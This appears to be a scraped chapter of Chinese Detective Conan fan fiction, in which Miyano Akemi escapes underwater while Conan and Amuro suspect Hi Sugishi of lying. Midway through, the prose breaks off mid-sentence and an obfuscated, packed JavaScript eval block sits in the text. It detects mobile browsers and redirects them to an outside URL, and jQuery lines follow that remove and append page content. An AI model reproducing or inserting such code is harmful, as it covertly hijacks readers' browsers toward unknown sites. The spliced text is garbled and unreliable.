11. 海平面上的阴影(六)

作品:《亲戚家的小孩是柯南

    好冷。


    这是宫野明美坠入海中的第一感受。海水像无数冰针,刺透皮肤,灌进鼻腔与耳朵。左肩的剧痛被刺骨的麻木取代,每一次划水都牵扯着撕裂般的痛楚,肺部的空气正在迅速耗尽。


    五米。向左。呼吸机。


    妃杦司的声音在脑中回响,像黑暗里最后的路标。她用尽残存的意志向左挣扎,受伤的肩膀每动一下都传来骨头摩擦般的锐响。


    一米、两米——


    黑暗中,一点幽绿色的荧光突兀地亮起。


    是绑在船体上的水下荧光棒,在她前方不足一米处幽幽晃动,像深海中引诱鱼群的诡光。


    她拼尽最后力气扑过去,手指在粗糙的船体上胡乱摸索,终于触到了冰冷的金属——一个焊接在船体上的简易支架。支架不过半臂宽,却牢牢固定着一个便携式水下呼吸机,以及一个锈迹斑斑的圆形检修盖。


    宫野明美抓过呼吸机扣在脸上,扣环自动锁紧的“咔嗒”声在水下显得沉闷而确凿。她深吸一口气——


    压缩氧气的味道。


    清冽,冰冷,带着铁锈般的金属气息,却让那颗几近停跳的心脏重新开始搏动。涣散的意识被强行拽回现实。


    她睁开眼,借着荧光的微光看向那个检修盖。盖子上用防水油笔画着一个简陋的箭头,指向右侧悬挂的一把扳手。


    没有时间犹豫。


    她握住扳手,用受伤左肩能承受的最大力气,朝逆时针方向狠狠一拧——


    螺栓松脱的震动通过金属传递到掌心。


    检修盖向内弹开一道缝隙。


    海水立刻涌入,形成一股强劲的吸力。宫野明美被水流裹挟着冲进黑暗的通道,身体在粗糙的管壁上擦过,留下火辣辣的疼痛。


    通道先是水平延伸约三米,然后开始向上倾斜。她手脚并用在黑暗中攀爬,呼吸机面罩发出规律的嘶嘶声,成为这绝对黑暗里唯一的声音坐标。


    直到头终于露出水面,新鲜的空气涌入面罩,宫野明美才终于松掉那根绷紧的弦,瘫倒在冰凉的水泥地上。


    呼吸机掉在地上,发出空洞的回响,与剧烈的心跳应和着。


    她摸索着手边的东西,触到了一个悬挂着的头戴式矿灯。灯被固定在墙壁的钩子上,开关绳垂在手边。


    她拉下开关。


    不大的空间一下被昏黄的光亮填满。


    这是一个废弃的储物舱。约四平米见方,墙壁布满锈迹和剥落的油漆,地面散落着干涸的水渍。唯独一处角落被收拾得异常妥帖:干净的毯子、叠放整齐的衣物、一个急救箱,甚至还有一瓶水和几包压缩饼干。


    宫野明美爬过去,颤抖着拿起被压在衣物最下面的纸条。塑封膜在灯光下反光,她调整角度,看清了上面手写的字迹:


    “换干衣服,处理伤口,休息。明早6点整,敲三下门。别开灯,别出声。”


    她盯着那句话看了很久很久。


    直到此刻,她才有一种“得救了”的真实感,从指尖蔓延到心脏,滚烫而酸涩。


    ————


    晚上8:35分,L-3通道中层步道。海面之上。


    搜救艇的探照灯光柱像巨大的手指,徒劳地切割着漆黑的海面。浪涛声掩盖了引擎的嗡鸣,却掩盖不了现场压抑的寂静。


    毛利小五郎脸色铁青,一拳捶在栏杆上:“该死!又一条人命!”


    “这位是……毛利侦探吧,请冷静。”安室透的声音平稳地插入,他不知何时已站在栏杆边,目光锐利地扫视着海面,“警卫已经封锁了所有出口,枪手应该还在船上。”


    他说着“应该”,目光却若有似无地瞥向妃杦司。


    妃杦司正靠在墙边,脸色在探照灯的逆光中显得格外苍白。他的右手深深插在风衣口袋里,左手则自然地下垂着,任由左臂的伤口暴露在空气中。


    “安室先生说得对。”妃杦司开口,声音有些沙哑,“现在最重要的是……”


    “是什么?”安室透打断他,转过身来,脸上挂着礼貌的微笑,紫灰色的眼睛却在灯光下显得异常深邃,“妃先生认为,现在最重要的是什么?”


    问题很平常,语气也很温和。


    但妃杦司却微微一滞,似乎是没料到会被反问。他眨了眨眼,相对迟缓地回答道:“当然是……确保其他乘客的安全,以及尽快找到枪手。”


    “确实。”安室透点头,笑容不变,“不过在那之前,我有个小小的疑问。”


    他向前走了一步,正好站在妃杦司和栏杆之间。这个位置很微妙——既挡住了妃杦司可能的退路,又没有显露出明显的敌意。


    “妃先生刚才说,你从拍卖厅外的露台赶来。”安室透的语气依旧温和,“但从露台到这里,最快捷的路线应该是经过上层甲板。而你……”


    他顿了顿,目光落在妃杦司的鞋子上。


    那双深棕色的皮鞋鞋面,沾着一些暗绿色的、黏糊糊的东西。


    “看起来像是走了下层货舱通道。”安室透轻声说,“那条路更绕,也更……潮湿。容易沾到船底检修区特有的藻类污渍。”


    妃杦司低头看了看自己的鞋子,然后抬起头,脸上露出一个近乎无辜的、略带困惑的表情:“安室先生观察真仔细。我确实走了下层——因为上层甲板人太多,我想快点赶过来。”


    他的语气自然,指尖却近乎烦躁地摩挲过同一处布料。


    “原来如此。”安室透笑了笑,没有继续追问。他转向毛利小五郎,“毛利先生,我建议我们分头行动。您和警卫继续组织搜救,我去协助排查枪手可能使用的路径。”


    “好!”毛利小五郎立刻点头,“那就麻烦你了!”


    “应该的。”安室透欠身,转身离开。


    经过妃杦司身边时,他的脚步几不可察地顿了顿。


    没有对视,没有言语。


    但是安室透的视线却在那瞬间飞快地扫过妃杦司的左臂伤口、沾着污渍的鞋面、以及那只始终插在口袋里、未曾抽出的右手。


    然后他走了,脚步声迅速消失在通道另一端。


    ————


    晚上8:40分。


    搜救工作毫无进展。海面上除了浪涛,什么也没有。


    柯南蹲在栏杆边,指尖仔细检查着每一寸金属表面。那道在女人坠落位置附近的、过于整齐的刮痕,怎么看都像是事先准备好的“道具”。


    他起身时,鞋尖无意中踢到了排水格栅边缘的一个小东西。


    “叮——”清脆的金属碰撞声响起。


    柯南低头,看见一颗白色糖果滚落到脚边。糖已经泡得发软,表面黏着沙粒和铁锈,但薄荷特有的清凉气味还在水中微微逸散。


    他愣了一瞬。


    随即迅速从随身的小包里取出镊子和证物袋,动作流畅自然地夹起糖果,封存好。整个过程不过两三秒,看起来就像在收集任何一件普通现场物证。


    但当他抬起头时,目光不由自主地投向妃杦司。


    那人依旧靠在墙边,脸色苍白,视线落在远处的海面上,仿佛在出神。


    柯南没说话。只是将证物袋收好,继续检查现场。


    三分钟后,他找到了更多耐人寻味的线索:栏杆上蹭到的极淡的血迹;船体上一个不起眼的检修盖,螺栓有新鲜的划痕;还有……远处海面上,那件米色外


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084354|195363||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    套沉没的位置附近,水面下的涡流似乎有些过于“规律”。


    一切标准得合乎情理,却总透着一丝精心编排后的诡异。


    “杦司哥哥。”江户川柯南朝妃杦司走去,仰起小脸,“你刚才在这里,有看到那位女士是怎么掉下去的吗?”


    此时恰好一阵海风吹过,拂乱了妃杦司额前的黑发。他下意识抬手,指尖碰了碰自己左耳缀着的那枚菱形耳坠:“我来的时候……她已经掉下去了。只看到水花。”


    柯南看着他那双总是含着温和笑意的深灰色眼睛。此刻那眼底像蒙了一层薄雾,看不透深处翻涌的究竟是什么情绪。


    “杦司哥哥冷吗?”柯南突然问。


    妃杦司顿了顿,唇角弯起一个很淡的弧度:“海风是有点大。”


    又在答非所问。


    然后他站起身,拍了拍柯南的肩膀,手掌的温度比平时更低:“回房间吧,今晚已经够长了。”


    两人一前一后离开现场,脚步声在空旷的通道里回响。柯南故意落后半步,目光锁在妃杦司的背影上——那件浅灰色风衣的下摆,靠近右腿外侧的位置,有一小片不易察觉的深色水渍,形状不规则,不像是海浪溅上的。


    “杦司哥哥,”柯南突然加快脚步,走到妃杦司身侧,仰起脸,“那位阿姨……真的死了吗?”


    妃杦司脚步未停,只是侧头看了他一眼。通道顶灯的光线从他头顶打下,让他的眉眼陷在阴影里,看不太清表情:“那么高的地方中枪落海,生还的可能性很小。”


    他的声音很平,听不出太多情绪,但那个短暂的停顿,却像一根细刺,扎进了柯南的耳朵。


    “可是,”柯南不依不饶,像所有执着于一个问题的孩子,“海里不是应该有救生员吗?船开得这么快,他们来得及救吗?”


    “搜救已经开始了。”妃杦司简单地回答,伸手按下了通往客舱区的电梯按钮,“这些事,交给大人来处理吧,柯南君。”


    电梯门“叮”一声打开,里面空无一人。


    走进去后,密闭的空间让气氛变得更加微妙。镜面墙壁映出一大一小两个身影。柯南从镜子里看到,妃杦司的目光落在不断跳动的楼层数字上,眉头几不可察地蹙了一下,像是忍耐着疼痛。


    那不是单纯的手臂擦伤该有的反应。


    “杦司哥哥,你的手……”柯南小声问,“很痛吗?要不要去医务室?”


    “没事。”妃杦司低头看了一眼左臂上的擦伤,对着镜子里的柯南笑了笑,那笑容恢复了惯常的温和,“一点小伤。回去处理一下就好。”


    电梯在四层停下。


    走向406房间的走廊安静得过分。柯南的脑子里飞速闪过几个画面:那颗突兀出现的薄荷糖、鞋底的藻类污渍、栏杆上不自然的刮痕、还有妃杦司始终插在口袋里的右手……


    走到房门口,妃杦司刷开房门,侧身让柯南先进去。


    就在柯南跨入门内的瞬间,他忽然回头,用最天真不过的语气问:“杦司哥哥,你之前说去甲板采风……有没有画什么呀?我想看看。”


    妃杦司握着门把的手,几不可察地顿了一下。


    然后他弯起眼睛,带着些许歉意揉了揉柯南的头发:“今天……没什么灵感呢。等下次画好了,再给你看,好吗?”


    门在身后轻轻关上,隔绝了走廊的光。


    柯南站在玄关的昏暗里,听着身后妃杦司走向衣柜的脚步声,拳头在身侧悄悄握紧。


    没有画。


    这个人,在说谎。


    而一个需要在这种细节上说谎的人,他今晚真正在做的事情,恐怕远比“采风”要复杂、要危险得多。